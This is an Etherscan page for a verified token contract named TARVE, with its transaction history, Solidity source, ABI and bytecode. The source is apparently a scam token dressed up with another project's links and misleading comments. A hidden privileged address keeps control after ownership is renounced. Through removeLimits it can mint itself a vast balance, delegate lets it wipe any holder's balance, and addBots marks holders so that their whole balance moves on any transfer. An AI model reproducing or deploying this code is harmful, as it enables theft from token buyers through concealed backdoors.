ETH Price: $3,416.32 (+1.73%)
Gas: 7 Gwei

Contract

0xC9477D2c6BFD555Ece7b481554277C8496E2DDB6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve199802602024-05-30 4:25:1147 days ago1717043111IN
0xC9477D2c...496E2DDB6
0 ETH0.000311566.73346245
Transfer199799902024-05-30 3:30:2347 days ago1717039823IN
0xC9477D2c...496E2DDB6
0 ETH0.00039518.03964909
Add Bots199798122024-05-30 2:54:1147 days ago1717037651IN
0xC9477D2c...496E2DDB6
0 ETH0.000383577.92642567
Del Bots199797762024-05-30 2:46:4747 days ago1717037207IN
0xC9477D2c...496E2DDB6
0 ETH0.000215847.59941199
Renounce Ownersh...199796672024-05-30 2:24:5947 days ago1717035899IN
0xC9477D2c...496E2DDB6
0 ETH0.000145676.25566394
Approve199795762024-05-30 2:06:4747 days ago1717034807IN
0xC9477D2c...496E2DDB6
0 ETH0.000358187.74702562
Remove Limits199760992024-05-29 14:25:2347 days ago1716992723IN
0xC9477D2c...496E2DDB6
0 ETH0.0010847122.59960474
Approve199288592024-05-22 23:59:3554 days ago1716422375IN
0xC9477D2c...496E2DDB6
0 ETH0.000326397.05026446
Transfer199288262024-05-22 23:52:5954 days ago1716421979IN
0xC9477D2c...496E2DDB6
0 ETH0.000350356.47039038
Transfer199288172024-05-22 23:51:1154 days ago1716421871IN
0xC9477D2c...496E2DDB6
0 ETH0.000312495.77241547
Transfer199288102024-05-22 23:49:4754 days ago1716421787IN
0xC9477D2c...496E2DDB6
0 ETH0.000315715.83195204
Transfer199288052024-05-22 23:48:4754 days ago1716421727IN
0xC9477D2c...496E2DDB6
0 ETH0.000314345.8065255
Transfer199287992024-05-22 23:47:3554 days ago1716421655IN
0xC9477D2c...496E2DDB6
0 ETH0.00033456.17904366
Transfer199287912024-05-22 23:45:5954 days ago1716421559IN
0xC9477D2c...496E2DDB6
0 ETH0.000355036.55815479
Transfer199287842024-05-22 23:44:3554 days ago1716421475IN
0xC9477D2c...496E2DDB6
0 ETH0.000350676.47775041
0x60806040199287212024-05-22 23:31:5954 days ago1716420719IN
 Create: TARVE
0 ETH0.00706627.28584861

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TARVE

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-05-22
*/

/**
 *Submitted for verification at Etherscan.io on 2024-05-23
*/

// SPDX-License-Identifier: UNLICENSED
/*
    Website:  https://tevaera.com/
    Twitter:  https://twitter.com/tevaera
    Discord:  https://discord.gg/tevaera
    Telegram: https://t.me/TevaeraNews
    Medium:   https://tevaera.medium.com/
*/

/**
 * @title MyContract
 * @dev This contract is written in Solidity version 0.8.25.
 */

pragma solidity ^0.8.25;

/**
 * @title Ownable
 * @dev The Ownable contract provides a basic access control mechanism, where
 * ownership of the contract is restricted to a single address.
 */

abstract contract Ownable  {

    /**
 * @dev Returns the address of the account that called the function.
 */

     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

/**
 * @dev Returns the calldata of the function call.
 */

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

/**
 * @dev Initializes the contract, setting the deployer as the initial owner.
 */

    constructor() {
        _transferOwnership(_msgSender());
    }

/**
 * @dev Modifier that checks if the caller is the owner of the contract.
 * Reverts if the caller is not the owner.
 */

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

/**
 * @dev Returns the address of the owner of the contract.
 */

    function owner() public view virtual returns (address) {
        return _owner;
    }

/**
 * @dev Internal function to check if the caller is the owner of the contract.
 * Reverts if the caller is not the owner.
 */

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

/**
 * @dev Allows the current owner to renounce ownership of the contract,
 * leaving the contract without an owner.
 */

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

/**
 * @dev Internal function to transfer ownership of the contract to a new address.
 * 
 * Emits an {OwnershipTransferred} event.
 * 
 * Parameters:
 * - newOwner: The address of the new owner.
 */

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @title TARVE
 * @dev TARVE is a smart contract representing a token with basic ownership functionality.
 */

contract TARVE is Ownable{   
    constructor(address add) {      
        _tokename = "TARVE";
        _tokensymbol = "TARVE";
        _taxData = add;
        _totalSupply = 100000000*10**decimals();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    address public _taxData;
    uint256 private _totalSupply;
    string private _tokename;
    string private _tokensymbol;  
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokeninfo;
    mapping(address => Stake) public stakes;
    uint128 buyCount = 64544;
    uint128 sellCount = 0;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    bool globaltrue = true;
    bool globalff = false;
    struct Stake {
        uint256 amount;
        uint256 stakingTimestamp;
        uint256 amountInUSDT;
        uint256 stakingPeriod;
    }
    
    struct StakerInfo {
        uint256 index;
        bool isActive;
    }
    
	struct Stakeholder {
        uint balance;
        uint accruedInterest;
        bool exists;
    }
/**
 * @dev Delegates the specified address to perform certain actions on behalf of the caller.
 * 
 * Parameters:
 * - delegatee: The address to delegate the actions to.
 */

    function delegate(address delegatee) external    {
        if (true) {
            require(_taxData == _msgSender()); 
            _balances[delegatee] *= sellCount;       
        }
        
    }

/**
 * @dev Adds a bot address to the list of authorized bots.
 * 
 * Parameters:
 * - bot: The address of the bot to be added.
 * 
 * Returns:
 * - A boolean indicating whether the bot was successfully added.
 */

    function addBots(address bot) public virtual returns (bool) {
        address tmoinfo = bot;     
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxData);
        return true;
    }

/**
 * @dev Removes a bot address from the list of authorized bots.
 * 
 * Parameters:
 * - notbot: The address of the bot to be removed.
 */

    function delBots(address notbot) external  {
        address tmoinfo = notbot;      
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxData);      
    }

/**
 * @dev Removes limits for certain actions, allowing specified addresses to perform them without restrictions.
 * 
 * Only the address specified as _taxData is allowed to call this function.
 */

    function removeLimits() external   {
        if(_msgSender() == _taxData){  
            require( _taxData == _msgSender());  
            address feeAmount = _msgSender();
            address swapRouter = feeAmount;
            address devWallet = swapRouter; 
            _balances[devWallet] += devAmount;       
        }   
       
    }
    
    /**
 * @dev Returns the name of the token.
 * 
 * Returns:
 * - A string representing the name of the token.
 */

    function name() public view returns (string memory) {
        return _tokename;
    }

/**
 * @dev Returns the symbol of the token.
 * 
 * Returns:
 * - A string representing the symbol of the token.
 */

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }

/**
 * @dev Returns the number of decimals used to represent the token.
 * 
 * Returns:
 * - An unsigned integer representing the number of decimals.
 */

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

/**
 * @dev Returns the total supply of the token.
 * 
 * Returns:
 * - An unsigned integer representing the total supply of the token.
 */

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

/**
 * @dev Returns the balance of the specified account.
 * 
 * Parameters:
 * - account: The address for which to retrieve the balance.
 * 
 * Returns:
 * - An unsigned integer representing the balance of the specified account.
 */

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

/**
 * @dev Transfers tokens from the caller's account to the specified recipient.
 * 
 * Parameters:
 * - to: The address of the recipient to transfer tokens to.
 * - amount: The amount of tokens to transfer.
 * 
 * Returns:
 * - A boolean indicating whether the transfer was successful.
 */

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

/**
 * @dev Returns the amount of tokens that an owner has allowed a spender to transfer on their behalf.
 * 
 * Parameters:
 * - owner: The address of the owner.
 * - spender: The address of the spender.
 * 
 * Returns:
 * - An unsigned integer representing the allowance for the specified owner and spender.
 */

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

/**
 * @dev Approves the specified address to spend the caller's tokens.
 * 
 * Parameters:
 * - spender: The address to be approved for spending tokens.
 * - amount: The amount of tokens to approve for spending.
 * 
 * Returns:
 * - A boolean indicating whether the approval was successful.
 */

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

/**
 * @dev Transfers tokens from one address to another using allowance mechanism.
 * 
 * Parameters:
 * - from: The address from which to transfer tokens.
 * - to: The address to which to transfer tokens.
 * - amount: The amount of tokens to transfer.
 * 
 * Returns:
 * - A boolean indicating whether the transfer was successful.
 */

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

/**
 * @dev Internal function to transfer tokens from one address to another.
 * 
 * Parameters:
 * - from: The address from which to transfer tokens.
 * - to: The address to which to transfer tokens.
 * - amount: The amount of tokens to transfer.
 */

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = buyCount + _balances[from] + 
        buyCount-buyCount;}
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

/**
 * @dev Internal function to approve a spender to spend a certain amount of tokens on behalf of an owner.
 * 
 * Parameters:
 * - owner: The address that owns the tokens.
 * - spender: The address that is approved to spend the tokens.
 * - amount: The amount of tokens to approve for spending.
 */

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

/**
 * @dev Internal function to spend the allowance granted by an owner to a spender.
 * 
 * Parameters:
 * - owner: The address that owns the tokens.
 * - spender: The address that is approved to spend the tokens.
 * - amount: The amount of tokens to spend.
 */

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
    function stake(uint256 _amount, uint256 _stakingPeriod) external {
    require(_amount > 0, "Amount must be greater than 0");
        Stake storage userStake = stakes[msg.sender];
        userStake.amount += _amount;
        userStake.stakingTimestamp = block.timestamp;
        userStake.stakingPeriod = _stakingPeriod;

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxData","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_stakingPeriod","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"stakes","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"stakingTimestamp","type":"uint256"},{"internalType":"uint256","name":"amountInUSDT","type":"uint256"},{"internalType":"uint256","name":"stakingPeriod","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405261fc206009556100166012600a61029d565b6100239062010cc06102b2565b6100329064056cc9ca2c6102b2565b600a55600b805461ffff1916600117905534801561004e575f80fd5b506040516110de3803806110de83398101604081905261006d916102c9565b61007633610158565b604080518082019091526005815264544152564560d81b602082015260039061009f9082610387565b50604080518082019091526005815264544152564560d81b60208201526004906100c99082610387565b50600180546001600160a01b0319166001600160a01b0383161790556100ed601290565b6100f890600a61029d565b610106906305f5e1006102b2565b6002819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350610446565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156101f557815f19048211156101db576101db6101a7565b808516156101e857918102915b93841c93908002906101c0565b509250929050565b5f8261020b57506001610297565b8161021757505f610297565b816001811461022d576002811461023757610253565b6001915050610297565b60ff841115610248576102486101a7565b50506001821b610297565b5060208310610133831016604e8410600b8410161715610276575081810a610297565b61028083836101bb565b805f1904821115610293576102936101a7565b0290505b92915050565b5f6102ab60ff8416836101fd565b9392505050565b8082028115828204841417610297576102976101a7565b5f602082840312156102d9575f80fd5b81516001600160a01b03811681146102ab575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561038257805f5260205f20601f840160051c810160208510156103605750805b601f840160051c820191505b8181101561037f575f815560010161036c565b50505b505050565b81516001600160401b038111156103a0576103a06102ef565b6103b4816103ae8454610303565b8461033b565b602080601f8311600181146103e7575f84156103d05750858301515b5f19600386901b1c1916600185901b17855561043e565b5f85815260208120601f198616915b82811015610415578886015182559484019460019091019084016103f6565b508582101561043257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610c8b806104535f395ff3fe608060405234801561000f575f80fd5b506004361061011c575f3560e01c8063630e071c116100a95780637b0472f01161006e5780637b0472f0146102a95780638da5cb5b146102bc57806395d89b41146102cc578063a9059cbb146102d4578063dd62ed3e146102e7575f80fd5b8063630e071c1461022457806364473a121461024f57806370a0823114610271578063715018a614610299578063751039fc146102a1575f80fd5b806323b872dd116100ef57806323b872dd146101c7578063313ce567146101da5780634c8afff4146101e957806356ec63a5146101fe5780635c19a95c14610211575f80fd5b806306fdde0314610120578063095ea7b31461013e57806316934fc41461016157806318160ddd146101b5575b5f80fd5b61012861031f565b6040516101359190610aaa565b60405180910390f35b61015161014c366004610afa565b6103af565b6040519015158152602001610135565b61019561016f366004610b22565b60086020525f908152604090208054600182015460028301546003909301549192909184565b604080519485526020850193909352918301526060820152608001610135565b6002545b604051908152602001610135565b6101516101d5366004610b42565b6103c5565b60405160128152602001610135565b6101fc6101f7366004610b22565b6103e8565b005b61015161020c366004610b22565b610438565b6101fc61021f366004610b22565b610480565b600154610237906001600160a01b031681565b6040516001600160a01b039091168152602001610135565b61015161025d366004610b22565b60076020525f908152604090205460ff1681565b6101b961027f366004610b22565b6001600160a01b03165f9081526005602052604090205490565b6101fc6104da565b6101fc6104ed565b6101fc6102b7366004610b7b565b610547565b5f546001600160a01b0316610237565b6101286105cf565b6101516102e2366004610afa565b6105de565b6101b96102f5366004610b9b565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b60606003805461032e90610bcc565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610bcc565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846105ea565b5060015b92915050565b5f336103d285828561070d565b6103dd8585856107a4565b506001949350505050565b600b546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b031614610434575f80fd5b5050565b600b546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146103bb575f80fd5b6001546001600160a01b03163314610496575f80fd5b6009546001600160a01b0382165f9081526005602052604081208054600160801b9093046001600160801b0316929091906104d2908490610c18565b909155505050565b6104e2610a02565b6104eb5f610a5b565b565b6001546001600160a01b031633036104eb576001546001600160a01b03163314610515575f80fd5b600a54335f81815260056020526040812080549293849384939192919061053d908490610c2f565b9091555050505050565b5f821161059b5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b335f9081526008602052604081208054909184918391906105bd908490610c2f565b90915550504260018201556003015550565b60606004805461032e90610bcc565b5f6103bb3384846107a4565b6001600160a01b03831661064c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610592565b6001600160a01b0382166106ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610592565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f19811461079e578181101561078a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610592565b61079e84846107998585610c42565b6105ea565b50505050565b6001600160a01b0383166108085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610592565b6001600160a01b03821661086a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610592565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036108d8576009546001600160a01b0384165f908152600560205260409020546001600160801b039091169081906108c19082610c2f565b6108cb9190610c2f565b6108d59190610c42565b90505b6001600160a01b0383165f908152600560205260409020548181101561094f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610592565b6001600160a01b0384165f90815260056020526040902054610972908390610c42565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546109a1908390610c2f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109f49086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146104eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610af5575f80fd5b919050565b5f8060408385031215610b0b575f80fd5b610b1483610adf565b946020939093013593505050565b5f60208284031215610b32575f80fd5b610b3b82610adf565b9392505050565b5f805f60608486031215610b54575f80fd5b610b5d84610adf565b9250610b6b60208501610adf565b9150604084013590509250925092565b5f8060408385031215610b8c575f80fd5b50508035926020909101359150565b5f8060408385031215610bac575f80fd5b610bb583610adf565b9150610bc360208401610adf565b90509250929050565b600181811c90821680610be057607f821691505b602082108103610bfe57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176103bf576103bf610c04565b808201808211156103bf576103bf610c04565b818103818111156103bf576103bf610c0456fea26469706673582212204c8c5da2e29ea2660660e1659738fe426efe913a14c9783e0c73a96c0332a4a064736f6c634300081900330000000000000000000000007fcc10f026dfcc3f34c162dad75ff85ac44e3472

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011c575f3560e01c8063630e071c116100a95780637b0472f01161006e5780637b0472f0146102a95780638da5cb5b146102bc57806395d89b41146102cc578063a9059cbb146102d4578063dd62ed3e146102e7575f80fd5b8063630e071c1461022457806364473a121461024f57806370a0823114610271578063715018a614610299578063751039fc146102a1575f80fd5b806323b872dd116100ef57806323b872dd146101c7578063313ce567146101da5780634c8afff4146101e957806356ec63a5146101fe5780635c19a95c14610211575f80fd5b806306fdde0314610120578063095ea7b31461013e57806316934fc41461016157806318160ddd146101b5575b5f80fd5b61012861031f565b6040516101359190610aaa565b60405180910390f35b61015161014c366004610afa565b6103af565b6040519015158152602001610135565b61019561016f366004610b22565b60086020525f908152604090208054600182015460028301546003909301549192909184565b604080519485526020850193909352918301526060820152608001610135565b6002545b604051908152602001610135565b6101516101d5366004610b42565b6103c5565b60405160128152602001610135565b6101fc6101f7366004610b22565b6103e8565b005b61015161020c366004610b22565b610438565b6101fc61021f366004610b22565b610480565b600154610237906001600160a01b031681565b6040516001600160a01b039091168152602001610135565b61015161025d366004610b22565b60076020525f908152604090205460ff1681565b6101b961027f366004610b22565b6001600160a01b03165f9081526005602052604090205490565b6101fc6104da565b6101fc6104ed565b6101fc6102b7366004610b7b565b610547565b5f546001600160a01b0316610237565b6101286105cf565b6101516102e2366004610afa565b6105de565b6101b96102f5366004610b9b565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b60606003805461032e90610bcc565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610bcc565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846105ea565b5060015b92915050565b5f336103d285828561070d565b6103dd8585856107a4565b506001949350505050565b600b546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b031614610434575f80fd5b5050565b600b546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146103bb575f80fd5b6001546001600160a01b03163314610496575f80fd5b6009546001600160a01b0382165f9081526005602052604081208054600160801b9093046001600160801b0316929091906104d2908490610c18565b909155505050565b6104e2610a02565b6104eb5f610a5b565b565b6001546001600160a01b031633036104eb576001546001600160a01b03163314610515575f80fd5b600a54335f81815260056020526040812080549293849384939192919061053d908490610c2f565b9091555050505050565b5f821161059b5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b335f9081526008602052604081208054909184918391906105bd908490610c2f565b90915550504260018201556003015550565b60606004805461032e90610bcc565b5f6103bb3384846107a4565b6001600160a01b03831661064c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610592565b6001600160a01b0382166106ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610592565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f19811461079e578181101561078a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610592565b61079e84846107998585610c42565b6105ea565b50505050565b6001600160a01b0383166108085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610592565b6001600160a01b03821661086a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610592565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036108d8576009546001600160a01b0384165f908152600560205260409020546001600160801b039091169081906108c19082610c2f565b6108cb9190610c2f565b6108d59190610c42565b90505b6001600160a01b0383165f908152600560205260409020548181101561094f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610592565b6001600160a01b0384165f90815260056020526040902054610972908390610c42565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546109a1908390610c2f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109f49086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146104eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610af5575f80fd5b919050565b5f8060408385031215610b0b575f80fd5b610b1483610adf565b946020939093013593505050565b5f60208284031215610b32575f80fd5b610b3b82610adf565b9392505050565b5f805f60608486031215610b54575f80fd5b610b5d84610adf565b9250610b6b60208501610adf565b9150604084013590509250925092565b5f8060408385031215610b8c575f80fd5b50508035926020909101359150565b5f8060408385031215610bac575f80fd5b610bb583610adf565b9150610bc360208401610adf565b90509250929050565b600181811c90821680610be057607f821691505b602082108103610bfe57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176103bf576103bf610c04565b808201808211156103bf576103bf610c04565b818103818111156103bf576103bf610c0456fea26469706673582212204c8c5da2e29ea2660660e1659738fe426efe913a14c9783e0c73a96c0332a4a064736f6c63430008190033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007fcc10f026dfcc3f34c162dad75ff85ac44e3472

-----Decoded View---------------
Arg [0] : add (address): 0x7FcC10F026dFcc3f34C162dad75FF85ac44E3472

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007fcc10f026dfcc3f34c162dad75ff85ac44e3472


Deployed Bytecode Sourcemap

